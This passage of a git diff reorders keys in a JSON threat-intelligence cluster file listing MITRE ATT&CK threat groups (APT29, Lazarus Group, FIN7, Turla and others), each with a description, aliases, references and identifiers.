"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"
],
- "external_id": "G0069"
+ "synonyms": [
+ "MuddyWater",
+ "TEMP.Zagros"
+ ]
},
- "uuid": "269e8108-68c6-4f99-b911-14b2e765dec2"
+ "uuid": "269e8108-68c6-4f99-b911-14b2e765dec2",
+ "value": "MuddyWater - G0069"
},
{
"description": "Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)",
- "value": "Patchwork - G0040",
"meta": {
+ "external_id": "G0040",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0040",
+ "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf",
+ "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries"
+ ],
"synonyms": [
"Patchwork",
"Dropping Elephant",
"Chinastrats",
"MONSOON",
"Operation Hangover"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0040",
- "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf",
- "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries"
- ],
- "external_id": "G0040"
+ ]
},
- "uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0"
+ "uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
+ "value": "Patchwork - G0040"
},
{
"description": "APT30 is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)",
- "value": "APT30 - G0013",
"meta": {
- "synonyms": [
- "APT30"
- ],
+ "external_id": "G0013",
"refs": [
"https://attack.mitre.org/wiki/Group/G0013",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf",
"https://securelist.com/the-naikon-apt/69953/"
],
- "external_id": "G0013"
+ "synonyms": [
+ "APT30"
+ ]
},
- "uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd"
+ "uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd",
+ "value": "APT30 - G0013"
},
{
- "value": "MONSOON - G0042",
"meta": {
+ "external_id": "G0042",
"refs": [
"https://attack.mitre.org/wiki/Group/G0042"
- ],
- "external_id": "G0042"
+ ]
},
- "uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772"
+ "uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772",
+ "value": "MONSOON - G0042"
},
{
"description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)",
- "value": "APT17 - G0025",
"meta": {
- "synonyms": [
- "APT17",
- "Deputy Dog"
- ],
+ "external_id": "G0025",
"refs": [
"https://attack.mitre.org/wiki/Group/G0025",
"https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf"
],
- "external_id": "G0025"
+ "synonyms": [
+ "APT17",
+ "Deputy Dog"
+ ]
},
- "uuid": "090242d7-73fc-4738-af68-20162f7a5aae"
+ "uuid": "090242d7-73fc-4738-af68-20162f7a5aae",
+ "value": "APT17 - G0025"
},
{
"description": "FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017)",
- "value": "FIN7 - G0046",
"meta": {
- "synonyms": [
- "FIN7"
- ],
+ "external_id": "G0046",
"refs": [
"https://attack.mitre.org/wiki/Group/G0046",
"https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
],
- "external_id": "G0046"
+ "synonyms": [
+ "FIN7"
+ ]
},
- "uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc"
+ "uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc",
+ "value": "FIN7 - G0046"
},
{
"description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\n (Citation: APT3 Adversary Emulation Plan)",
- "value": "APT3 - G0022",
"meta": {
- "synonyms": [
- "APT3",
- "Gothic Panda",
- "Pirpi",
- "UPS Team",
- "Buckeye",
- "Threat Group-0110",
- "TG-0110"
- ],
+ "external_id": "G0022",
"refs": [
"https://attack.mitre.org/wiki/Group/G0022",
"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html",
@@ -726,254 +716,256 @@
"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
"https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
],
- "external_id": "G0022"
+ "synonyms": [
+ "APT3",
+ "Gothic Panda",
+ "Pirpi",
+ "UPS Team",
+ "Buckeye",
+ "Threat Group-0110",
+ "TG-0110"
+ ]
},
- "uuid": "0bbdf25b-30ff-4894-a1cd-49260d0dd2d9"
+ "uuid": "0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+ "value": "APT3 - G0022"
},
{
"description": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)",
- "value": "GCMAN - G0036",
"meta": {
- "synonyms": [
- "GCMAN"
- ],
+ "external_id": "G0036",
"refs": [
"https://attack.mitre.org/wiki/Group/G0036",
"https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"
],
- "external_id": "G0036"
+ "synonyms": [
+ "GCMAN"
+ ]
},
- "uuid": "0ea72cd5-ca30-46ba-bc04-378f701c658f"
+ "uuid": "0ea72cd5-ca30-46ba-bc04-378f701c658f",
+ "value": "GCMAN - G0036"
},
{
"description": "Lazarus Group is a threat group that has been attributed to the North Korean government. (Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)",
- "value": "Lazarus Group - G0032",
"meta": {
+ "external_id": "G0032",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0032",
+ "https://www.us-cert.gov/ncas/alerts/TA17-164A",
+ "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
+ ],
"synonyms": [
"Lazarus Group",
"HIDDEN COBRA",
"Guardians of Peace",
"ZINC",
"NICKEL ACADEMY"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0032",
- "https://www.us-cert.gov/ncas/alerts/TA17-164A",
- "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
- ],
- "external_id": "G0032"
+ ]
},
- "uuid": "c93fccb1-e8e8-42cf-ae33-2ad1d183913a"
+ "uuid": "c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
+ "value": "Lazarus Group - G0032"
},
{
"description": "Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)",
- "value": "Lotus Blossom - G0030",
"meta": {
- "synonyms": [
- "Lotus Blossom",
- "Spring Dragon"
- ],
+ "external_id": "G0030",
"refs": [
"https://attack.mitre.org/wiki/Group/G0030",
"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"
],
- "external_id": "G0030"
+ "synonyms": [
+ "Lotus Blossom",
+ "Spring Dragon"
+ ]
},
- "uuid": "88b7dbc2-32d3-4e31-af2f-3fc24e1582d7"
+ "uuid": "88b7dbc2-32d3-4e31-af2f-3fc24e1582d7",
+ "value": "Lotus Blossom - G0030"
},
{
"description": "Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)",
- "value": "Equation - G0020",
"meta": {
- "synonyms": [
- "Equation"
- ],
+ "external_id": "G0020",
"refs": [
"https://attack.mitre.org/wiki/Group/G0020",
"https://securelist.com/files/2015/02/Equation%20group%20questions%20and%20answers.pdf"
],
- "external_id": "G0020"
+ "synonyms": [
+ "Equation"
+ ]
},
- "uuid": "96e239be-ad99-49eb-b127-3007b8c1bec9"
+ "uuid": "96e239be-ad99-49eb-b127-3007b8c1bec9",
+ "value": "Equation - G0020"
},
{
"description": "Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)",
- "value": "Darkhotel - G0012",
"meta": {
- "synonyms": [
- "Darkhotel"
- ],
+ "external_id": "G0012",
"refs": [
"https://attack.mitre.org/wiki/Group/G0012",
"https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf"
],
- "external_id": "G0012"
+ "synonyms": [
+ "Darkhotel"
+ ]
},
- "uuid": "9e729a7e-0dd6-4097-95bf-db8d64911383"
+ "uuid": "9e729a7e-0dd6-4097-95bf-db8d64911383",
+ "value": "Darkhotel - G0012"
},
{
"description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. The group appeared to decrease activity following public exposure in 2014, and re-emerged in late 2015 through 2017. (Citation: Symantec Dragonfly) (Citation: Symantec Dragonfly) Sept 2017",
- "value": "Dragonfly - G0035",
"meta": {
- "synonyms": [
- "Dragonfly",
- "Energetic Bear"
- ],
+ "external_id": "G0035",
"refs": [
"https://attack.mitre.org/wiki/Group/G0035",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf"
],
- "external_id": "G0035"
+ "synonyms": [
+ "Dragonfly",
+ "Energetic Bear"
+ ]
},
- "uuid": "1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1"
+ "uuid": "1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+ "value": "Dragonfly - G0035"
},
{
"description": "Suckfly is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)",
- "value": "Suckfly - G0039",
"meta": {
- "synonyms": [
- "Suckfly"
- ],
+ "external_id": "G0039",
"refs": [
"https://attack.mitre.org/wiki/Group/G0039",
"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
],
- "external_id": "G0039"
+ "synonyms": [
+ "Suckfly"
+ ]
},
- "uuid": "5cbe0d3b-6fb1-471f-b591-4b192915116d"
+ "uuid": "5cbe0d3b-6fb1-471f-b591-4b192915116d",
+ "value": "Suckfly - G0039"
},
{
"description": "Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)",
- "value": "Stealth Falcon - G0038",
"meta": {
- "synonyms": [
- "Stealth Falcon"
- ],
+ "external_id": "G0038",
"refs": [
"https://attack.mitre.org/wiki/Group/G0038",
"https://citizenlab.org/2016/05/stealth-falcon/"
],
- "external_id": "G0038"
+ "synonyms": [
+ "Stealth Falcon"
+ ]
},
- "uuid": "894aab42-3371-47b1-8859-a4a074c804c8"
+ "uuid": "894aab42-3371-47b1-8859-a4a074c804c8",
+ "value": "Stealth Falcon - G0038"
},
{
"description": "BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)",
- "value": "BRONZE BUTLER - G0060",
"meta": {
- "synonyms": [
- "BRONZE BUTLER",
- "REDBALDKNIGHT",
- "Tick"
- ],
+ "external_id": "G0060",
"refs": [
"https://attack.mitre.org/wiki/Group/G0060",
"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/",
"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
],
- "external_id": "G0060"
+ "synonyms": [
+ "BRONZE BUTLER",
+ "REDBALDKNIGHT",
+ "Tick"
+ ]
},
- "uuid": "93f52415-0fe4-4d3d-896c-fc9b8e88ab90"
+ "uuid": "93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+ "value": "BRONZE BUTLER - G0060"
},
{
"description": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)",
- "value": "Scarlet Mimic - G0029",
"meta": {
- "synonyms": [
- "Scarlet Mimic"
- ],
+ "external_id": "G0029",
"refs": [
"https://attack.mitre.org/wiki/Group/G0029",
"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
],
- "external_id": "G0029"
+ "synonyms": [
+ "Scarlet Mimic"
+ ]
},
- "uuid": "c5574ca0-d5a4-490a-b207-e4658e5fd1d7"
+ "uuid": "c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
+ "value": "Scarlet Mimic - G0029"
},
{
"description": "Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)",
- "value": "Threat Group-1314 - G0028",
"meta": {
- "synonyms": [
- "Threat Group-1314",
- "TG-1314"
- ],
+ "external_id": "G0028",
"refs": [
"https://attack.mitre.org/wiki/Group/G0028",
"http://www.secureworks.com/resources/blog/living-off-the-land/"
],
- "external_id": "G0028"
+ "synonyms": [
+ "Threat Group-1314",
+ "TG-1314"
+ ]
},
- "uuid": "d519164e-f5fa-4b8c-a1fb-cf0172ad0983"
+ "uuid": "d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
+ "value": "Threat Group-1314 - G0028"
},
{
"description": "Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. They are known for conducting watering hole and spearphishing campaigns. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017)",
- "value": "Turla - G0010",
"meta": {
- "synonyms": [
- "Turla",
- "Waterbug",
- "WhiteBear"
- ],
+ "external_id": "G0010",
"refs": [
"https://attack.mitre.org/wiki/Group/G0010",
"https://securelist.com/the-epic-turla-operation/65545/",
"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
],
- "external_id": "G0010"
+ "synonyms": [
+ "Turla",
+ "Waterbug",
+ "WhiteBear"
+ ]
},
- "uuid": "7a19ecb1-3c65-4de3-a230-993516aed6a6"
+ "uuid": "7a19ecb1-3c65-4de3-a230-993516aed6a6",
+ "value": "Turla - G0010"
},
{
"description": "Elderwood is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)\n\nContributors: Valerii Marchuk, Cybersecurity Help s.r.o.",
- "value": "Elderwood - G0066",
"meta": {
- "synonyms": [
- "Elderwood",
- "Elderwood Gang",
- "Beijing Group",
- "Sneaky Panda"
- ],
+ "external_id": "G0066",
"refs": [
"https://attack.mitre.org/wiki/Group/G0066",
"http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
"https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China"
],
- "external_id": "G0066"
+ "synonyms": [
+ "Elderwood",
+ "Elderwood Gang",
+ "Beijing Group",
+ "Sneaky Panda"
+ ]
},
- "uuid": "03506554-5f37-4f8f-9ce4-0e9f01a1b484"
+ "uuid": "03506554-5f37-4f8f-9ce4-0e9f01a1b484",
+ "value": "Elderwood - G0066"
},
{
"description": "APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)",
- "value": "APT29 - G0016",
"meta": {
- "synonyms": [
- "APT29",
- "The Dukes",
- "Cozy Bear",
- "CozyDuke"
- ],
+ "external_id": "G0016",
"refs": [
"https://attack.mitre.org/wiki/Group/G0016",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf",
"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
],
- "external_id": "G0016"
+ "synonyms": [
+ "APT29",
+ "The Dukes",
+ "Cozy Bear",
+ "CozyDuke"
+ ]
},
- "uuid": "899ce53f-13a0-479b-a0e4-67d46e241542"
+ "uuid": "899ce53f-13a0-479b-a0e4-67d46e241542",
+ "value": "APT29 - G0016"
},
{
"description": "menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017)",
- "value": "menuPass - G0045",
"meta": {
- "synonyms": [
- "menuPass",
- "Stone Panda",
- "APT10",
- "Red Apollo",
- "CVNX"
- ],
+ "external_id": "G0045",
"refs": [
"https://attack.mitre.org/wiki/Group/G0045",
"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/",
@@ -982,35 +974,38 @@
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf",
"https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html"
],
- "external_id": "G0045"
+ "synonyms": [
+ "menuPass",
+ "Stone Panda",
+ "APT10",
+ "Red Apollo",
+ "CVNX"
+ ]
},
- "uuid": "222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f"
+ "uuid": "222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
+ "value": "menuPass - G0045"
},
{
"description": "Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)",
- "value": "Putter Panda - G0024",
"meta": {
- "synonyms": [
- "Putter Panda",
- "APT2",
- "MSUpdater"
- ],
+ "external_id": "G0024",
"refs": [
"https://attack.mitre.org/wiki/Group/G0024",
"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
],
- "external_id": "G0024"
+ "synonyms": [
+ "Putter Panda",
+ "APT2",
+ "MSUpdater"
+ ]
},
- "uuid": "5ce5392a-3a6c-4e07-9df3-9b6a9159ac45"
+ "uuid": "5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
+ "value": "Putter Panda - G0024"
},
{
"description": " (Citation: Axiom) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Axiom) Though both this group and Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)",
- "value": "Axiom - G0001",
"meta": {
- "synonyms": [
- "Axiom",
- "Group 72"
- ],
+ "external_id": "G0001",
"refs": [
"https://attack.mitre.org/wiki/Group/G0001",
"http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf",
@@ -1018,14 +1013,22 @@
"https://securelist.com/games-are-over/70991/",
"http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf"
],
- "external_id": "G0001"
+ "synonyms": [
+ "Axiom",
+ "Group 72"
+ ]
},
- "uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973"
+ "uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973",
+ "value": "Axiom - G0001"
},
{
"description": "Magic Hound is an espionage campaign operating primarily in the Middle East that dates back to at least mid-2016. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. (Citation: Unit 42 Magic Hound Feb 2017)\n\nContributors: Bryan Lee",
- "value": "Magic Hound - G0059",
"meta": {
+ "external_id": "G0059",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0059",
+ "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+ ],
"synonyms": [
"Magic Hound",
"Rocket Kitten",
@@ -1034,147 +1037,144 @@
"Operation Woolen-Goldfish",
"Newscaster",
"Cobalt Gypsy"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0059",
- "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
- ],
- "external_id": "G0059"
+ ]
},
- "uuid": "f9d6633a-55e6-4adc-9263-6ae080421a13"
+ "uuid": "f9d6633a-55e6-4adc-9263-6ae080421a13",
+ "value": "Magic Hound - G0059"
},
{
"description": "FIN8 is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)",
- "value": "FIN8 - G0061",
"meta": {
- "synonyms": [
- "FIN8"
- ],
+ "external_id": "G0061",
"refs": [
"https://attack.mitre.org/wiki/Group/G0061",
"https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"
],
- "external_id": "G0061"
+ "synonyms": [
+ "FIN8"
+ ]
},
- "uuid": "fd19bd82-1b14-49a1-a176-6cdc46b8a826"
+ "uuid": "fd19bd82-1b14-49a1-a176-6cdc46b8a826",
+ "value": "FIN8 - G0061"
},
{
"description": "PROMETHIUM is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. PROMETHIUM has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)",
- "value": "PROMETHIUM - G0056",
"meta": {
- "synonyms": [
- "PROMETHIUM"
- ],
+ "external_id": "G0056",
"refs": [
"https://attack.mitre.org/wiki/Group/G0056",
"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/",
"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
],
- "external_id": "G0056"
+ "synonyms": [
+ "PROMETHIUM"
+ ]
},
- "uuid": "efed95ba-d7e8-47ff-8c53-99c42426ee7c"
+ "uuid": "efed95ba-d7e8-47ff-8c53-99c42426ee7c",
+ "value": "PROMETHIUM - G0056"
},
{
"description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak). It is sometimes referred to as FIN7, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)\n\nContributors: Anastasios Pingios",
- "value": "Carbanak - G0008",
"meta": {
- "synonyms": [
- "Carbanak",
- "Anunak",
- "Carbon Spider"
- ],
+ "external_id": "G0008",
"refs": [
"https://attack.mitre.org/wiki/Group/G0008",
"https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
],
- "external_id": "G0008"
+ "synonyms": [
+ "Carbanak",
+ "Anunak",
+ "Carbon Spider"
+ ]
},
- "uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c"
+ "uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
+ "value": "Carbanak - G0008"
},
{
"description": "APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)",
- "value": "APT33 - G0064",
"meta": {
- "synonyms": [
- "APT33"
- ],
+ "external_id": "G0064",
"refs": [
"https://attack.mitre.org/wiki/Group/G0064",
"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
"https://www.brighttalk.com/webcast/10703/275683"
],
- "external_id": "G0064"
+ "synonyms": [
+ "APT33"
+ ]
},
- "uuid": "fbd29c89-18ba-4c2d-b792-51c0adee049f"
+ "uuid": "fbd29c89-18ba-4c2d-b792-51c0adee049f",
+ "value": "APT33 - G0064"
},
{
"description": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)",
- "value": "APT18 - G0026",
"meta": {
+ "external_id": "G0026",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0026",
+ "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"
+ ],
"synonyms": [
"APT18",
"Threat Group-0416",
"TG-0416",
"Dynamite Panda"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0026",
- "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"
- ],
- "external_id": "G0026"
+ ]
},
- "uuid": "38fd6a28-3353-4f2b-bb2b-459fecd5c648"
+ "uuid": "38fd6a28-3353-4f2b-bb2b-459fecd5c648",
+ "value": "APT18 - G0026"
},
{
"description": "Leviathan is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)\n\nContributors: Valerii Marchuk, Cybersecurity Help s.r.o.",
- "value": "Leviathan - G0065",
"meta": {
- "synonyms": [
- "Leviathan",
- "TEMP.Periscope"
- ],
+ "external_id": "G0065",
"refs": [
"https://attack.mitre.org/wiki/Group/G0065",
"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
],
- "external_id": "G0065"
+ "synonyms": [
+ "Leviathan",
+ "TEMP.Periscope"
+ ]
},
- "uuid": "7113eaa5-ba79-4fb3-b68a-398ee9cd698e"
+ "uuid": "7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
+ "value": "Leviathan - G0065"
},
{
"description": "CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)",
- "value": "CopyKittens - G0052",
"meta": {
- "synonyms": [
- "CopyKittens"
- ],
+ "external_id": "G0052",
"refs": [
"https://attack.mitre.org/wiki/Group/G0052",
"http://www.clearskysec.com/copykitten-jpost/",
"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf",
"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
],
- "external_id": "G0052"
+ "synonyms": [
+ "CopyKittens"
+ ]
},
- "uuid": "dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a"
+ "uuid": "dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+ "value": "CopyKittens - G0052"
},
{
"description": "Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)",
- "value": "Gamaredon Group - G0047",
"meta": {
- "synonyms": [
- "Gamaredon Group"
- ],
+ "external_id": "G0047",
"refs": [
"https://attack.mitre.org/wiki/Group/G0047",
"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
],
- "external_id": "G0047"
+ "synonyms": [
+ "Gamaredon Group"
+ ]
},
- "uuid": "2e290bfe-93b5-48ce-97d6-edcd6d32b7cf"
+ "uuid": "2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
+ "value": "Gamaredon Group - G0047"
}
- ]
+ ],
+ "version": 4
}
diff --git a/clusters/mitre-enterprise-attack-malware.json b/clusters/mitre-enterprise-attack-malware.json
index 89d736c..06f1b54 100644
